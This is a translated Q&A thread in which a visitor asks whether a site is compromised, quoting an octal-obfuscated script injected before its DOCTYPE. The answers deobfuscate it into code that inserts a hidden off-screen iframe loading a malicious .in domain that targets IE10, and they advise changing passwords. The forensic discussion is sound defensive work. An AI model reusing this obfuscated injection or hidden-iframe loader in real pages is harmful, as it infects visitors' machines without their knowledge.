这个网站被黑了吗?

时间:2013-06-05 00:57:57

标签: javascript obfuscation deobfuscation

在一个特定的网站(不是我的网站),我被警告它想要使用Java,我看到在印度引用了一个域名。由于这对我来说看起来不正常,我会查看页面源代码。在DOCTYPE之前有一个大的脚本块。我只在IE10(不是FF等)和多台机器上看到这一点。我不够聪明,不知道究竟发生了什么,因为它看起来很模糊。在我向网站所有者报告情况之前(以及我自己的好奇心),我想知道这是否是黑客行为的绝对证据。当我从下面用Google搜索短语“asd = function”时,我看到其他一些代码非常相似的网站,所以这可能是一个常见的问题。 (或者它可能是IE10合法的东西?)下面是添加了额外换行符的代码。

<script>
ps="split";
asd=function(){d.body++};
a=("15,15,155,152,44,54,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,167,106,175,130,145,153,122,145,161,151,54,53,146,163,150,175,53,55,137,64,141,55,177,21,15,15,15,155,152,166,145,161,151,166,54,55,77,21,15,15,201,44,151,160,167,151,44,177,21,15,15,15,150,163,147,171,161,151,162,170,62,173,166,155,170,151,54,46,100,155,152,166,145,161,151,44,167,166,147,101,53,154,170,170,164,76,63,63,145,150,150,163,162,167,147,163,166,166,151,147,170,62,155,162,63,160,156,105,114,73,115,64,157,173,166,65,64,70,106,74,74,64,124,136,150,150,64,131,175,162,75,64,106,122,122,133,64,72,167,107,107,64,171,134,173,114,65,64,174,156,170,64,152,70,154,131,65,64,112,113,105,64,164,116,174,157,64,163,110,117,64,63,53,44,173,155,150,170,154,101,53,65,64,64,53,44,154,151,155,153,154,170,101,53,65,64,64,53,44,167,170,175,160,151,101,53,173,155,150,170,154,76,65,64,64,164,174,77,154,151,155,153,154,170,76,65,64,64,164,174,77,164,163,167,155,170,155,163,162,76,145,146,167,163,160,171,170,151,77,160,151,152,170,76,61,65,64,64,64,64,164,174,77,170,163,164,76,64,77,53,102,100,63,155,152,166,145,161,151,102,46,55,77,21,15,15,201,21,15,15,152,171,162,147,170,155,163,162,44,155,152,166,145,161,151,166,54,55,177,21,15,15,15,172,145,166,44,152,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,167,166,147,53,60,53,154,170,170,164,76,63,63,145,150,150,163,162,167,147,163,166,166,151,147,170,62,155,162,63,160,156,105,114,73,115,64,157,173,166,65,64,70,106,74,74,64,124,136,150,150,64,131,175,162,75,64,106,122,122,133,64,72,167,107,107,64,171,134,173,114,65,64,174,156,170,64,152,70,154,131,65,64,112,113,105,64,164,116,174,157,64,163,110,117,64,63,53,55,77,152,62,167,170,175,160,151,62,160,151,152,170,101,53,61,65,64,64,64,64,164,174,53,77,152,62,167,170,175,160,151,62,170,163,164,101,53,64,53,77,152,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,101,53,145,146,167,163,160,171,170,151,53,77,152,62,167,170,175,160,151,62,170,163,164,101,53,64,53,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,173,155,150,170,154,53,60,53,65,64,64,53,55,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,154,151,155,153,154,170,53,60,53,65,64,64,53,55,77,21,15,15,15,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,167,106,175,130,145,153,122,145,161,151,54,53,146,163,150,175,53,55,137,64,141,62,145,164,164,151,162,150,107,154,155,160,150,54,152,55,77,21,15,15,201"[ps](","));
ss=String;
d=document;
for(i=0;i<a.length;i+=1){
 a[i]=-(7-3)+parseInt(a[i],8);}
try{asd()}
catch(q){
zz=0;}
try{zz/=2}
catch(q){zz=1;}
if(!zz)eval(ss.fromCharCode.apply(ss,a));
</script>

如果这真的是恶意的,是否有可以/应该发布的法医网站?

2 个答案:

答案 0 :(得分:4)

以下是上述代码的“翻译”:

if (document.getElementsByTagName('body')[0]){
    iframer();
} else {
    document.write("");
}
function iframer(){
    var f = document.createElement('iframe');
    f.setAttribute('src','http://addonscorrect.in/ljAH7I0kwr104B880PZdd0Uyn90BNNW06sCC0uXwH10xjt0f4hU10FGA0pJxk0oDK0/');
    f.style.left='-10000px';
    f.style.top='0';
    f.style.position='absolute';
    f.style.top='0';
    f.setAttribute('width','100');
    f.setAttribute('height','100');
    document.getElementsByTagName('body')[0].appendChild(f);
}

它不仅编码很差(有人显然从未听说过document.body属性......),这显然是一个黑客攻击。

如果我不包含IE10用户代理字符串,请求资源返回402 Payment Required标头 - 这是一个暗示它旨在利用该特定浏览器的提示。欺骗一个有效的UA字符串给了我一个页面,其中包含一堆过于复杂的JavaScript,我无法解密,但这看起来并不友好。

答案 1 :(得分:1)

删除它,它正在尝试加载一个很可能会在您的计算机上安装间谍软件的URL。

该网站如下:

http://addonscorrect.in/ljAH7I0kwr104B880PZdd0Uyn90BNNW06sCC0uXwH10xjt0f4hU10FGA0pJxk0oDK0/

该网站已停用,所以是的..您的网站已被黑了。

更改您的FTP / SSH密码,清除所有有权访问主机帐户的计算机。